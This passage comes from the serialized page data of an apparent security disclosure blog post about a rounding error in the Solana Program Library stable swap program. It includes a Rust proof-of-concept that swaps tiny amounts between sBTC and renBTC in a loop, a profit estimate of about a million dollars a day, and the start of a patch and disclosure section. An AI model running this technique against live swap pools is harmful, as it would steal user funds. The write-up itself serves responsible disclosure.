in",{"type":23,"tag":504,"props":5082,"children":5084},{"style":5083},"--shiki-default:#B5CEA8",[5085],{"type":29,"value":5086}," 0",{"type":23,"tag":504,"props":5088,"children":5089},{"style":5047},[5090],{"type":29,"value":5091},"..",{"type":23,"tag":504,"props":5093,"children":5094},{"style":5058},[5095],{"type":29,"value":5096},"ITERATIONS {\n",{"type":23,"tag":504,"props":5098,"children":5100},{"class":5016,"line":5099},4,[5101,5106,5111,5116,5120,5124,5129,5133,5137,5143,5147,5152,5156,5160,5165,5169,5174,5179,5183,5187,5191,5196],{"type":23,"tag":504,"props":5102,"children":5103},{"style":5030},[5104],{"type":29,"value":5105},"        let",{"type":23,"tag":504,"props":5107,"children":5108},{"style":5058},[5109],{"type":29,"value":5110}," (",{"type":23,"tag":504,"props":5112,"children":5113},{"style":5041},[5114],{"type":29,"value":5115},"y_new",{"type":23,"tag":504,"props":5117,"children":5118},{"style":5058},[5119],{"type":29,"value":4367},{"type":23,"tag":504,"props":5121,"children":5122},{"style":5041},[5123],{"type":29,"value":627},{"type":23,"tag":504,"props":5125,"children":5126},{"style":5058},[5127],{"type":29,"value":5128},") ",{"type":23,"tag":504,"props":5130,"children":5131},{"style":5047},[5132],{"type":29,"value":546},{"type":23,"tag":504,"props":5134,"children":5135},{"style":5058},[5136],{"type":29,"value":5110},{"type":23,"tag":504,"props":5138,"children":5140},{"style":5139},"--shiki-default:#DCDCAA",[5141],{"type":29,"value":5142},"checked_u8_power",{"type":23,"tag":504,"props":5144,"children":5145},{"style":5058},[5146],{"type":29,"value":603},{"type":23,"tag":504,"props":5148,"children":5149},{"style":5047},[5150],{"type":29,"value":5151},"&",{"type":23,"tag":504,"props":5153,"children":5154},{"style":5041},[5155],{"type":29,"value":1164},{"type":23,"tag":504,"props":5157,"children":5158},{"style":5058},[5159],{"type":29,"value":4367},{"type":23,"tag":504,"props":5161,"children":5162},{"style":5083},[5163],{"type":29,"value":5164},"2",{"type":23,"tag":504,"props":5166,"children":5167},{"style":5058},[5168],{"type":29,"value":933},{"type":23,"tag":504,"props":5170,"children":5171},{"style":5047},[5172],{"type":29,"value":5173},"?.",{"type":23,"tag":504,"props":5175,"children":5176},{"style":5139},[5177],{"type":29,"value":5178},"checked_add",{"type":23,"tag":504,"props":5180,"children":5181},{"style":5058},[5182],{"type":29,"value":603},{"type":23,"tag":504,"props":5184,"children":5185},{"style":5041},[5186],{"type":29,"value":3110},{"type":23,"tag":504,"props":5188,"children":5189},{"style":5058},[5190],{"type":29,"value":933},{"type":23,"tag":504,"props":5192,"children":5193},{"style":5047},[5194],{"type":29,"value":5195},"?",{"type":23,"tag":504,"props":5197,"children":5198},{"style":5058},[5199],{"type":29,"value":5200},")\n",{"type":23,"tag":504,"props":5202,"children":5204},{"class":5016,"line":5203},5,[5205,5210,5215,5219,5224,5228,5232,5236,5240,5244,5248,5252,5256,5260,5264,5268,5272,5277,5281,5286,5290,5294,5298,5302],{"type":23,"tag":504,"props":5206,"children":5207},{"style":5047},[5208],{"type":29,"value":5209},"            .",{"type":23,"tag":504,"props":5211,"children":5212},{"style":5139},[5213],{"type":29,"value":5214},"checked_ceil_div",{"type":23,"tag":504,"props":5216,"children":5217},{"style":5058},[5218],{"type":29,"value":603},{"type":23,"tag":504,"props":5220,"children":5221},{"style":5139},[5222],{"type":29,"value":5223},"checked_u8_mul",{"type":23,"tag":504,"props":5225,"children":5226},{"style":5058},[5227],{"type":29,"value":603},{"type":23,"tag":504,"props":5229,"children":5230},{"style":5047},[5231],{"type":29,"value":5151},{"type":23,"tag":504,"props":5233,"children":5234},{"style":5041},[5235],{"type":29,"value":1164},{"type":23,"tag":504,"props":5237,"children":5238},{"style":5058},[5239],{"type":29,"value":4367},{"type":23,"tag":504,"props":5241,"children":5242},{"style":5083},[5243],{"type":29,"value":5164},{"type":23,"tag":504,"props":5245,"children":5246},{"style":5058},[5247],{"type":29,"value":933},{"type":23,"tag":504,"props":5249,"children":5250},{"style":5047},[5251],{"type":29,"value":5173},{"type":23,"tag":504,"props":5253,"children":5254},{"style":5139},[5255],{"type":29,"value":5178},{"type":23,"tag":504,"props":5257,"children":5258},{"style":5058},[5259],{"type":29,"value":603},{"type":23,"tag":504,"props":5261,"children":5262},{"style":5041},[5263],{"type":29,"value":3003},{"type":23,"tag":504,"props":5265,"children":5266},{"style":5058},[5267],{"type":29,"value":933},{"type":23,"tag":504,"props":5269,"children":5270},{"style":5047},[5271],{"type":29,"value":5173},{"type":23,"tag":504,"props":5273,"children":5274},{"style":5139},[5275],{"type":29,"value":5276},"checked_sub",{"type":23,"tag":504,"props":5278,"children":5279},{"style":5058},[5280],{"type":29,"value":603},{"type":23,"tag":504,"props":5282,"children":5283},{"style":5041},[5284],{"type":29,"value":5285},"d_val",{"type":23,"tag":504,"props":5287,"children":5288},{"style":5058},[5289],{"type":29,"value":933},{"type":23,"tag":504,"props":5291,"children":5292},{"style":5047},[5293],{"type":29,"value":5195},{"type":23,"tag":504,"props":5295,"children":5296},{"style":5058},[5297],{"type":29,"value":933},{"type":23,"tag":504,"props":5299,"children":5300},{"style":5047},[5301],{"type":29,"value":5195},{"type":23,"tag":504,"props":5303,"children":5304},{"style":5058},[5305],{"type":29,"value":5061},{"type":23,"tag":504,"props":5307,"children":5309},{"class":5016,"line":5308},6,[5310,5315,5320,5325,5329],{"type":23,"tag":504,"props":5311,"children":5312},{"style":5067},[5313],{"type":29,"value":5314},"        if",{"type":23,"tag":504,"props":5316,"children":5317},{"style":5041},[5318],{"type":29,"value":5319}," y_new",{"type":23,"tag":504,"props":5321,"children":5322},{"style":5047},[5323],{"type":29,"value":5324}," ==",{"type":23,"tag":504,"props":5326,"children":5327},{"style":5041},[5328],{"type":29,"value":5044},{"type":23,"tag":504,"props":5330,"children":5331},{"style":5058},[5332],{"type":29,"value":5333}," {\n",{"type":23,"tag":504,"props":5335,"children":5337},{"class":5016,"line":5336},7,[5338,5343],{"type":23,"tag":504,"props":5339,"children":5340},{"style":5067},[5341],{"type":29,"value":5342},"            break",{"type":23,"tag":504,"props":5344,"children":5345},{"style":5058},[5346],{"type":29,"value":5061},{"type":23,"tag":504,"props":5348,"children":5350},{"class":5016,"line":5349},8,[5351,5356,5361],{"type":23,"tag":504,"props":5352,"children":5353},{"style":5058},[5354],{"type":29,"value":5355},"        } ",{"type":23,"tag":504,"props":5357,"children":5358},{"style":5067},[5359],{"type":29,"value":5360},"else",{"type":23,"tag":504,"props":5362,"children":5363},{"style":5058},[5364],{"type":29,"value":5333},{"type":23,"tag":504,"props":5366,"children":5368},{"class":5016,"line":5367},9,[5369,5374,5378,5382],{"type":23,"tag":504,"props":5370,"children":5371},{"style":5041},[5372],{"type":29,"value":5373},"            y",{"type":23,"tag":504,"props":5375,"children":5376},{"style":5047},[5377],{"type":29,"value":5050},{"type":23,"tag":504,"props":5379,"children":5380},{"style":5041},[5381],{"type":29,"value":5319},{"type":23,"tag":504,"props":5383,"children":5384},{"style":5058},[5385],{"type":29,"value":5061},{"type":23,"tag":504,"props":5387,"children":5389},{"class":5016,"line":5388},10,[5390],{"type":23,"tag":504,"props":5391,"children":5392},{"style":5058},[5393],{"type":29,"value":5394},"        }\n",{"type":23,"tag":504,"props":5396,"children":5398},{"class":5016,"line":5397},11,[5399],{"type":23,"tag":504,"props":5400,"children":5401},{"style":5058},[5402],{"type":29,"value":5403},"    }\n",{"type":23,"tag":32,"props":5405,"children":5406},{},[5407,5412],{"type":23,"tag":4321,"props":5408,"children":5409},{},[5410],{"type":29,"value":5411},"approximate",{"type":29,"value":5413},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":32,"props":5415,"children":5416},{},[5417],{"type":29,"value":5418},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":4743,"props":5420,"children":5422},{"code":5421,"language":5008,"meta":7,"className":5009,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[5423],{"type":23,"tag":154,"props":5424,"children":5425},{"__ignoreMap":7},[5426,5434,5475,5483,5513,5541,5558,5574,5599,5615,5631,5647,5664,5681,5694,5703,5726,5735,5744,5811,5819,5849,5857,5889,5897,5957],{"type":23,"tag":504,"props":5427,"children":5428},{"class":5016,"line":5017},[5429],{"type":23,"tag":504,"props":5430,"children":5431},{"style":5021},[5432],{"type":29,"value":5433},"// from sbtc to renbtc\n",{"type":23,"tag":504,"props":5435,"children":5436},{"class":5016,"line":4868},[5437,5442,5447,5451,5455,5460,5465,5471],{"type":23,"tag":504,"props":5438,"children":5439},{"style":5067},[5440],{"type":29,"value":5441},"for",{"type":23,"tag":504,"props":5443,"children":5444},{"style":5041},[5445],{"type":29,"value":5446}," i",{"type":23,"tag":504,"props":5448,"children":5449},{"style":5030},[5450],{"type":29,"value":5080},{"type":23,"tag":504,"props":5452,"children":5453},{"style":5083},[5454],{"type":29,"value":5086},{"type":23,"tag":504,"props":5456,"children":5457},{"style":5047},[5458],{"type":29,"value":5459}," ..",{"type":23,"tag":504,"props":5461,"children":5462},{"style":5083},[5463],{"type":29,"value":5464}," 50",{"type":23,"tag":504,"props":5466,"children":5468},{"style":5467},"--shiki-default:#4EC9B0",[5469],{"type":29,"value":5470},"u8",{"type":23,"tag":504,"props":5472,"children":5473},{"style":5058},[5474],{"type":29,"value":5333},{"type":23,"tag":504,"props":5476,"children":5477},{"class":5016,"line":4876},[5478],{"type":23,"tag":504,"props":5479,"children":5480},{"style":5021},[5481],{"type":29,"value":5482},"    // create swap transaction\n",{"type":23,"tag":504,"props":5484,"children":5485},{"class":5016,"line":5099},[5486,5490,5494,5499,5503,5508],{"type":23,"tag":504,"props":5487,"children":5488},{"style":5030},[5489],{"type":29,"value":5033},{"type":23,"tag":504,"props":5491,"children":5492},{"style":5030},[5493],{"type":29,"value":5038},{"type":23,"tag":504,"props":5495,"children":5496},{"style":5041},[5497],{"type":29,"value":5498}," swap_instruction",{"type":23,"tag":504,"props":5500,"children":5501},{"style":5047},[5502],{"type":29,"value":5050},{"type":23,"tag":504,"props":5504,"children":5505},{"style":5139},[5506],{"type":29,"value":5507}," swap",{"type":23,"tag":504,"props":5509,"children":5510},{"style":5058},[5511],{"type":29,"value":5512},"(\n",{"type":23,"tag":504,"props":5514,"children":5515},{"class":5016,"line":5203},[5516,5521,5526,5531,5536],{"type":23,"tag":504,"props":5517,"children":5518},{"style":5047},[5519],{"type":29,"value":5520},"        &",{"type":23,"tag":504,"props":5522,"children":5523},{"style":5058},[5524],{"type":29,"value":5525},"spl_token",{"type":23,"tag":504,"props":5527,"children":5528},{"style":5047},[5529],{"type":29,"value":5530},"::",{"type":23,"tag":504,"props":5532,"children":5533},{"style":5139},[5534],{"type":29,"value":5535},"id",{"type":23,"tag":504,"props":5537,"children":5538},{"style":5058},[5539],{"type":29,"value":5540},"(),\n",{"type":23,"tag":504,"props":5542,"children":5543},{"class":5016,"line":5308},[5544,5548,5553],{"type":23,"tag":504,"props":5545,"children":5546},{"style":5047},[5547],{"type":29,"value":5520},{"type":23,"tag":504,"props":5549,"children":5550},{"style":5041},[5551],{"type":29,"value":5552},"swap_pubkey",{"type":23,"tag":504,"props":5554,"children":5555},{"style":5058},[5556],{"type":29,"value":5557},",\n",{"type":23,"tag":504,"props":5559,"children":5560},{"class":5016,"line":5336},[5561,5565,5570],{"type":23,"tag":504,"props":5562,"children":5563},{"style":5047},[5564],{"type":29,"value":5520},{"type":23,"tag":504,"props":5566,"children":5567},{"style":5041},[5568],{"type":29,"value":5569},"swap_authority_pubkey",{"type":23,"tag":504,"props":5571,"children":5572},{"style":5058},[5573],{"type":29,"value":5557},{"type":23,"tag":504,"props":5575,"children":5576},{"class":5016,"line":5349},[5577,5581,5586,5590,5595],{"type":23,"tag":504,"props":5578,"children":5579},{"style":5047},[5580],{"type":29,"value":5520},{"type":23,"tag":504,"props":5582,"children":5583},{"style":5041},[5584],{"type":29,"value":5585},"test_account_signer",{"type":23,"tag":504,"props":5587,"children":5588},{"style":5047},[5589],{"type":29,"value":357},{"type":23,"tag":504,"props":5591,"children":5592},{"style":5139},[5593],{"type":29,"value":5594},"pubkey",{"type":23,"tag":504,"props":5596,"children":5597},{"style":5058},[5598],{"type":29,"value":5540},{"type":23,"tag":504,"props":5600,"children":5601},{"class":5016,"line":5367},[5602,5606,5611],{"type":23,"tag":504,"props":5603,"children":5604},{"style":5047},[5605],{"type":29,"value":5520},{"type":23,"tag":504,"props":5607,"children":5608},{"style":5041},[5609],{"type":29,"value":5610},"sbtc_user_account",{"type":23,"tag":504,"props":5612,"children":5613},{"style":5058},[5614],{"type":29,"value":5557},{"type":23,"tag":504,"props":5616,"children":5617},{"class":5016,"line":5388},[5618,5622,5627],{"type":23,"tag":504,"props":5619,"children":5620},{"style":5047},[5621],{"type":29,"value":5520},{"type":23,"tag":504,"props":5623,"children":5624},{"style":5041},[5625],{"type":29,"value":5626},"sbtc_reserve",{"type":23,"tag":504,"props":5628,"children":5629},{"style":5058},[5630],{"type":29,"value":5557},{"type":23,"tag":504,"props":5632,"children":5633},{"class":5016,"line":5397},[5634,5638,5643],{"type":23,"tag":504,"props":5635,"children":5636},{"style":5047},[5637],{"type":29,"value":5520},{"type":23,"tag":504,"props":5639,"children":5640},{"style":5041},[5641],{"type":29,"value":5642},"renbtc_reserve",{"type":23,"tag":504,"props":5644,"children":5645},{"style":5058},[5646],{"type":29,"value":5557},{"type":23,"tag":504,"props":5648,"children":5650},{"class":5016,"line":5649},12,[5651,5655,5660],{"type":23,"tag":504,"props":5652,"children":5653},{"style":5047},[5654],{"type":29,"value":5520},{"type":23,"tag":504,"props":5656,"children":5657},{"style":5041},[5658],{"type":29,"value":5659},"renbtc_user_account",{"type":23,"tag":504,"props":5661,"children":5662},{"style":5058},[5663],{"type":29,"value":5557},{"type":23,"tag":504,"props":5665,"children":5667},{"class":5016,"line":5666},13,[5668,5672,5677],{"type":23,"tag":504,"props":5669,"children":5670},{"style":5047},[5671],{"type":29,"value":5520},{"type":23,"tag":504,"props":5673,"children":5674},{"style":5041},[5675],{"type":29,"value":5676},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":504,"props":5678,"children":5679},{"style":5058},[5680],{"type":29,"value":5557},{"type":23,"tag":504,"props":5682,"children":5684},{"class":5016,"line":5683},14,[5685,5690],{"type":23,"tag":504,"props":5686,"children":5687},{"style":5083},[5688],{"type":29,"value":5689},"        1",{"type":23,"tag":504,"props":5691,"children":5692},{"style":5058},[5693],{"type":29,"value":5557},{"type":23,"tag":504,"props":5695,"children":5697},{"class":5016,"line":5696},15,[5698],{"type":23,"tag":504,"props":5699,"children":5700},{"style":5083},[5701],{"type":29,"value":5702},"        2\n",{"type":23,"tag":504,"props":5704,"children":5706},{"class":5016,"line":5705},16,[5707,5712,5716,5721],{"type":23,"tag":504,"props":5708,"children":5709},{"style":5058},[5710],{"type":29,"value":5711},"    )",{"type":23,"tag":504,"props":5713,"children":5714},{"style":5047},[5715],{"type":29,"value":357},{"type":23,"tag":504,"props":5717,"children":5718},{"style":5139},[5719],{"type":29,"value":5720},"unwrap",{"type":23,"tag":504,"props":5722,"children":5723},{"style":5058},[5724],{"type":29,"value":5725},"();\n",{"type":23,"tag":504,"props":5727,"children":5729},{"class":5016,"line":5728},17,[5730],{"type":23,"tag":504,"props":5731,"children":5732},{"emptyLinePlaceholder":15},[5733],{"type":29,"value":5734},"\n",{"type":23,"tag":504,"props":5736,"children":5738},{"class":5016,"line":5737},18,[5739],{"type":23,"tag":504,"props":5740,"children":5741},{"style":5021},[5742],{"type":29,"value":5743},"    // nonce\n",{"type":23,"tag":504,"props":5745,"children":5747},{"class":5016,"line":5746},19,[5748,5753,5757,5762,5766,5771,5775,5779,5784,5789,5793,5797,5801,5806],{"type":23,"tag":504,"props":5749,"children":5750},{"style":5041},[5751],{"type":29,"value":5752},"    swap_instruction",{"type":23,"tag":504,"props":5754,"children":5755},{"style":5047},[5756],{"type":29,"value":357},{"type":23,"tag":504,"props":5758,"children":5759},{"style":5058},[5760],{"type":29,"value":5761},"data",{"type":23,"tag":504,"props":5763,"children":5764},{"style":5047},[5765],{"type":29,"value":357},{"type":23,"tag":504,"props":5767,"children":5768},{"style":5139},[5769],{"type":29,"value":5770},"append",{"type":23,"tag":504,"props":5772,"children":5773},{"style":5058},[5774],{"type":29,"value":603},{"type":23,"tag":504,"props":5776,"children":5777},{"style":5047},[5778],{"type":29,"value":5151},{"type":23,"tag":504,"props":5780,"children":5781},{"style":5030},[5782],{"type":29,"value":5783},"mut",{"type":23,"tag":504,"props":5785,"children":5786},{"style":5139},[5787],{"type":29,"value":5788}," vec!",{"type":23,"tag":504,"props":5790,"children":5791},{"style":5058},[5792],{"type":29,"value":1380},{"type":23,"tag":504,"props":5794,"children":5795},{"style":5041},[5796],{"type":29,"value":578},{"type":23,"tag":504,"props":5798,"children":5799},{"style":5058},[5800],{"type":29,"value":4367},{"type":23,"tag":504,"props":5802,"children":5803},{"style":5041},[5804],{"type":29,"value":5805},"extranonce",{"type":23,"tag":504,"props":5807,"children":5808},{"style":5058},[5809],{"type":29,"value":5810},"]);\n",{"type":23,"tag":504,"props":5812,"children":5814},{"class":5016,"line":5813},20,[5815],{"type":23,"tag":504,"props":5816,"children":5817},{"emptyLinePlaceholder":15},[5818],{"type":29,"value":5734},{"type":23,"tag":504,"props":5820,"children":5822},{"class":5016,"line":5821},21,[5823,5827,5831,5836,5840,5844],{"type":23,"tag":504,"props":5824,"children":5825},{"style":5030},[5826],{"type":29,"value":5033},{"type":23,"tag":504,"props":5828,"children":5829},{"style":5030},[5830],{"type":29,"value":5038},{"type":23,"tag":504,"props":5832,"children":5833},{"style":5041},[5834],{"type":29,"value":5835}," instructions",{"type":23,"tag":504,"props":5837,"children":5838},{"style":5047},[5839],{"type":29,"value":5050},{"type":23,"tag":504,"props":5841,"children":5842},{"style":5139},[5843],{"type":29,"value":5788},{"type":23,"tag":504,"props":5845,"children":5846},{"style":5058},[5847],{"type":29,"value":5848},"[];\n",{"type":23,"tag":504,"props":5850,"children":5852},{"class":5016,"line":5851},22,[5853],{"type":23,"tag":504,"props":5854,"children":5855},{"emptyLinePlaceholder":15},[5856],{"type":29,"value":5734},{"type":23,"tag":504,"props":5858,"children":5860},{"class":5016,"line":5859},23,[5861,5866,5870,5875,5879,5884],{"type":23,"tag":504,"props":5862,"children":5863},{"style":5041},[5864],{"type":29,"value":5865},"    instructions",{"type":23,"tag":504,"props":5867,"children":5868},{"style":5047},[5869],{"type":29,"value":357},{"type":23,"tag":504,"props":5871,"children":5872},{"style":5139},[5873],{"type":29,"value":5874},"push",{"type":23,"tag":504,"props":5876,"children":5877},{"style":5058},[5878],{"type":29,"value":603},{"type":23,"tag":504,"props":5880,"children":5881},{"style":5041},[5882],{"type":29,"value":5883},"swap_instruction",{"type":23,"tag":504,"props":5885,"children":5886},{"style":5058},[5887],{"type":29,"value":5888},");\n",{"type":23,"tag":504,"props":5890,"children":5892},{"class":5016,"line":5891},24,[5893],{"type":23,"tag":504,"props":5894,"children":5895},{"emptyLinePlaceholder":15},[5896],{"type":29,"value":5734},{"type":23,"tag":504,"props":5898,"children":5900},{"class":5016,"line":5899},25,[5901,5906,5910,5915,5919,5923,5928,5932,5936,5941,5945,5949,5953],{"type":23,"tag":504,"props":5902,"children":5903},{"style":5041},[5904],{"type":29,"value":5905},"    env",{"type":23,"tag":504,"props":5907,"children":5908},{"style":5047},[5909],{"type":29,"value":357},{"type":23,"tag":504,"props":5911,"children":5912},{"style":5139},[5913],{"type":29,"value":5914},"execute_as_transaction",{"type":23,"tag":504,"props":5916,"children":5917},{"style":5058},[5918],{"type":29,"value":603},{"type":23,"tag":504,"props":5920,"children":5921},{"style":5047},[5922],{"type":29,"value":5151},{"type":23,"tag":504,"props":5924,"children":5925},{"style":5041},[5926],{"type":29,"value":5927},"instructions",{"type":23,"tag":504,"props":5929,"children":5930},{"style":5058},[5931],{"type":29,"value":4367},{"type":23,"tag":504,"props":5933,"children":5934},{"style":5047},[5935],{"type":29,"value":5151},{"type":23,"tag":504,"props":5937,"children":5938},{"style":5139},[5939],{"type":29,"value":5940},"vec!",{"type":23,"tag":504,"props":5942,"children":5943},{"style":5058},[5944],{"type":29,"value":1380},{"type":23,"tag":504,"props":5946,"children":5947},{"style":5047},[5948],{"type":29,"value":5151},{"type":23,"tag":504,"props":5950,"children":5951},{"style":5041},[5952],{"type":29,"value":5585},{"type":23,"tag":504,"props":5954,"children":5955},{"style":5058},[5956],{"type":29,"value":5810},{"type":23,"tag":504,"props":5958,"children":5960},{"class":5016,"line":5959},26,[5961],{"type":23,"tag":504,"props":5962,"children":5963},{"style":5058},[5964],{"type":29,"value":5965},"}\n",{"type":23,"tag":32,"props":5967,"children":5968},{},[5969],{"type":29,"value":5970},"It works!",{"type":23,"tag":446,"props":5972,"children":5973},{},[5974],{"type":23,"tag":32,"props":5975,"children":5976},{},[5977],{"type":29,"value":5978},"holy shit\nyea, this is big",{"type":23,"tag":32,"props":5980,"children":5981},{},[5982],{"type":23,"tag":199,"props":5983,"children":5985},{"alt":7,"src":5984},"/posts/spl-swap/poc.png",[],{"type":23,"tag":24,"props":5987,"children":5989},{"id":5988},"exploitability",[5990],{"type":29,"value":5991},"Exploitability",{"type":23,"tag":32,"props":5993,"children":5994},{},[5995],{"type":29,"value":5996},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":32,"props":5998,"children":5999},{},[6000],{"type":29,"value":6001},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":32,"props":6003,"children":6004},{},[6005],{"type":29,"value":6006},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":32,"props":6008,"children":6009},{},[6010],{"type":23,"tag":199,"props":6011,"children":6013},{"alt":7,"src":6012},"/posts/spl-swap/pr.png",[],{"type":23,"tag":32,"props":6015,"children":6016},{},[6017,6019,6024],{"type":29,"value":6018},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":4321,"props":6020,"children":6021},{},[6022],{"type":29,"value":6023},"per instruction",{"type":29,"value":6025},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":32,"props":6027,"children":6028},{},[6029],{"type":29,"value":6030},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":32,"props":6032,"children":6033},{},[6034,6036,6041],{"type":29,"value":6035},"Some quick napkin math confirms that this ",{"type":23,"tag":4321,"props":6037,"children":6038},{},[6039],{"type":29,"value":6040},"is",{"type":29,"value":6042}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":32,"props":6044,"children":6045},{},[6046],{"type":23,"tag":154,"props":6047,"children":6049},{"className":6048},[500,501],[6050],{"type":23,"tag":504,"props":6051,"children":6053},{"className":6052},[507],[6054],{"type":23,"tag":504,"props":6055,"children":6057},{"className":6056,"ariaHidden":513},[512],[6058,6148,6200,6238],{"type":23,"tag":504,"props":6059,"children":6061},{"className":6060},[518],[6062,6067,6072,6125,6135,6139,6144],{"type":23,"tag":504,"props":6063,"children":6066},{"className":6064,"style":6065},[523],"height:0.8141em;",[],{"type":23,"tag":504,"props":6068,"children":6070},{"className":6069},[529],[6071],{"type":29,"value":826},{"type":23,"tag":504,"props":6073,"children":6075},{"className":6074},[529],[6076,6081],{"type":23,"tag":504,"props":6077,"children":6079},{"className":6078},[529],[6080],{"type":29,"value":708},{"type":23,"tag":504,"props":6082,"children":6084},{"className":6083},[666],[6085],{"type":23,"tag":504,"props":6086,"children":6088},{"className":6087},[671],[6089],{"type":23,"tag":504,"props":6090,"children":6092},{"className":6091},[677],[6093],{"type":23,"tag":504,"props":6094,"children":6096},{"className":6095,"style":6065},[682],[6097],{"type":23,"tag":504,"props":6098,"children":6100},{"style":6099},"top:-3.063em;margin-right:0.05em;",[6101,6105],{"type":23,"tag":504,"props":6102,"children":6104},{"className":6103,"style":693},[692],[],{"type":23,"tag":504,"props":6106,"children":6108},{"className":6107},[698,699,700,701],[6109],{"type":23,"tag":504,"props":6110,"children":6112},{"className":6111},[529,701],[6113,6119],{"type":23,"tag":504,"props":6114,"children":6116},{"className":6115},[529,701],[6117],{"type":29,"value":6118},"−",{"type":23,"tag":504,"props":6120,"children":6122},{"className":6121},[529,701],[6123],{"type":29,"value":6124},"8",{"type":23,"tag":504,"props":6126,"children":6128},{"className":6127},[529,29],[6129],{"type":23,"tag":504,"props":6130,"children":6132},{"className":6131},[529],[6133],{"type":29,"value":6134}," BTC",{"type":23,"tag":504,"props":6136,"children":6138},{"className":6137,"style":1426},[537],[],{"type":23,"tag":504,"props":6140,"children":6142},{"className":6141},[1431],[6143],{"type":29,"value":1434},{"type":23,"tag":504,"props":6145,"children":6147},{"className":6146,"style":1426},[537],[],{"type":23,"tag":504,"props":6149,"children":6151},{"className":6150},[518],[6152,6156,6162,6167,6171,6177,6187,6191,6196],{"type":23,"tag":504,"props":6153,"children":6155},{"className":6154,"style":2160},[523],[],{"type":23,"tag":504,"props":6157,"children":6159},{"className":6158},[529],[6160],{"type":29,"value":6161},"$41",{"type":23,"tag":504,"props":6163,"children":6165},{"className":6164},[2267],[6166],{"type":29,"value":2270},{"type":23,"tag":504,"props":6168,"children":6170},{"className":6169,"style":2274},[537],[],{"type":23,"tag":504,"props":6172,"children":6174},{"className":6173},[529],[6175],{"type":29,"value":6176},"400/",{"type":23,"tag":504,"props":6178,"children":6180},{"className":6179},[529,29],[6181],{"type":23,"tag":504,"props":6182,"children":6184},{"className":6183},[529],[6185],{"type":29,"value":6186},"BTC",{"type":23,"tag":504,"props":6188,"children":6190},{"className":6189,"style":1426},[537],[],{"type":23,"tag":504,"props":6192,"children":6194},{"className":6193},[1431],[6195],{"type":29,"value":1434},{"type":23,"tag":504,"props":6197,"children":6199},{"className":6198,"style":1426},[537],[],{"type":23,"tag":504,"props":6201,"children":6203},{"className":6202},[518],[6204,6209,6215,6225,6229,6234],{"type":23,"tag":504,"props":6205,"children":6208},{"className":6206,"style":6207},[523],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":6210,"children":6212},{"className":6211},[529],[6213],{"type":29,"value":6214},"150",{"type":23,"tag":504,"props":6216,"children":6218},{"className":6217},[529,29],[6219],{"type":23,"tag":504,"props":6220,"children":6222},{"className":6221},[529],[6223],{"type":29,"value":6224}," swaps",{"type":23,"tag":504,"props":6226,"children":6228},{"className":6227,"style":538},[537],[],{"type":23,"tag":504,"props":6230,"children":6232},{"className":6231},[543],[6233],{"type":29,"value":546},{"type":23,"tag":504,"props":6235,"children":6237},{"className":6236,"style":538},[537],[],{"type":23,"tag":504,"props":6239,"children":6241},{"className":6240},[518],[6242,6247],{"type":23,"tag":504,"props":6243,"children":6246},{"className":6244,"style":6245},[523],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":504,"props":6248,"children":6250},{"className":6249},[529],[6251],{"type":29,"value":6252},"$0.0621",{"type":23,"tag":32,"props":6254,"children":6255},{},[6256],{"type":29,"value":6257},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":32,"props":6259,"children":6260},{},[6261],{"type":29,"value":6262},"We're well on our way to becoming a millionaire!",{"type":23,"tag":24,"props":6264,"children":6266},{"id":6265},"patch",[6267],{"type":29,"value":6268},"Patch",{"type":23,"tag":32,"props":6270,"children":6271},{},[6272],{"type":29,"value":6273},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":32,"props":6275,"children":6276},{},[6277],{"type":29,"value":6278},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":4743,"props":6280,"children":6284},{"code":6281,"language":6282,"meta":7,"className":6283,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[6285],{"type":23,"tag":154,"props":6286,"children":6287},{"__ignoreMap":7},[6288],{"type":23,"tag":504,"props":6289,"children":6290},{"class":5016,"line":5017},[6291,6295,6301,6306,6311,6316,6321],{"type":23,"tag":504,"props":6292,"children":6293},{"style":5139},[6294],{"type":29,"value":4909},{"type":23,"tag":504,"props":6296,"children":6298},{"style":6297},"--shiki-default:#CE9178",[6299],{"type":29,"value":6300}," logs",{"type":23,"tag":504,"props":6302,"children":6303},{"style":6297},[6304],{"type":29,"value":6305}," -um",{"type":23,"tag":504,"props":6307,"children":6308},{"style":5047},[6309],{"type":29,"value":6310}," |",{"type":23,"tag":504,"props":6312,"children":6313},{"style":5139},[6314],{"type":29,"value":6315}," grep",{"type":23,"tag":504,"props":6317,"children":6318},{"style":6297},[6319],{"type":29,"value":6320}," 